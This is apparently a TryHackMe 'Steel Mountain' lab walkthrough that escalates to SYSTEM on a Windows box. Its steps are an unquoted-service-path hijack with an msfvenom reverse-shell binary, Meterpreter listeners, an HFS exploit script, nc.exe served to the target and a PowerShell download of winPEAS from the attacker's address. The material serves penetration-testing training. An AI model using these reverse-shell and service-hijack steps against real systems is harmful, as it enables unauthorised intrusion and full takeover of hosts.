

TryHackMe Steel Mountain

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Privilege Escalation

- Upload PowerUp script to the machine from the meterpreter
- `upload /opt/tools/PowerSploit/Privesc/PowerUp.ps1`
- To execute this using Meterpreter, I will type `load powershell` into meterpreter. Then I will enter powershell by entering `powershell_shell`

```
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
```

```
meterpreter > powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

ServiceName : AdvancedSystemCareService9
Path         : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName     : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart   : True
Name          : AdvancedSystemCareService9
Check         : Unquoted Service Paths

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ServiceName : AdvancedSystemCareService9
Path         : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName     : LocalSystem
```

- generate a revshell & output it to the same exe as our target service

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.4.23.120 LPORT=9999 -e x86/shikata_ga_nai -f exe -o ASCService.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: ASCService.exe
```

- get a shell from meterpreter & stop the service

```
C:\Users\bill\Desktop>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9

SERVICE_NAME: AdvancedSystemCareService9
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        STATE                : 4    RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE       : 0    (0x0)
        SERVICE_EXIT_CODE   : 0    (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0
```

- upload the shell

```
meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
[*] uploading : /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
[*] uploaded : /home/avik/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain/ASCService.exe -> C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
meterpreter >
```

- set-up a listener

```
msf6 exploit(windows/http/rejetto_hfs_exec) >
msf6 exploit(windows/http/rejetto_hfs_exec) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  LHOST  10.10.233.106    yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.233.106  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0   Wildcard Target
```

```
msfconsole 65x32
Microsoft Windows [Version 6.3.9600]
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C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>
```

```
File Edit View Terminal Tabs Help
sudo openvpn avikaikat.ovpn msfconsole

[*] Started reverse TCP handler on 10.4.23.120:9999
[*] Sending stage (175174 bytes) to 10.10.233.106
[*] Session ID 1 (10.4.23.120:9999 -> 10.10.233.106:49202)
processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against STEELMOUNTAIN
[*] Current server process: ASCService.exe (1804)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 892
[+] Successfully migrated into process 892
[*] Meterpreter session 1 opened (10.4.23.120:9999 -> 10.10.233.106:49202) at 2021-07-30 13:28:48 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2624 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
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C:\Windows\system32>
```

- root

```

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.4.23.120:9999
[*] Sending stage (175174 bytes) to 10.10.48.239
[*] Meterpreter session 1 opened (10.4.23.120:9999 -> 10.10.48.239:49234) at 2021-07-30 12:06:08 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```

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- but the shell is not stable
- `set AutoRunScript post/windows/manage/migrate` to auto migrate the shell

Manually

- [exploit](#)

```

master ❌ $ python2 exp.py 10.10.48.239 8080
avik@kali:~/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain
master ❌ $ python2 exp.py 10.10.48.239 8080
avik@kali:~/Desktop/ctf/WalkThroughs/TryHackMe/steel_Mountain
master ❌ $

binaries % ls
enumplus fgdump klogger.exe nbtenum plink.exe vncviewer.exe whoami.exe
exe2bat.exe fport mbenum nc.exe radmin.exe wget.exe
binaries % sudo python3 -m http.server 80
[sudo] password for avik:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.48.239 - - [30/Jul/2021 12:20:53] "GET /nc.exe HTTP/1.1" 200 -
^[[1;5B
nc -nvlp 1234 134x8

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C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>whoami
whoami
steelmountain\bill

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>

```

- upload winpease

```

powershell -c "Invoke-WebRequest -OutFile winpease.exe -Uri
http://10.4.23.120:8000/winPEASx86.exe"

```

- generate a payload with msfvenom & run it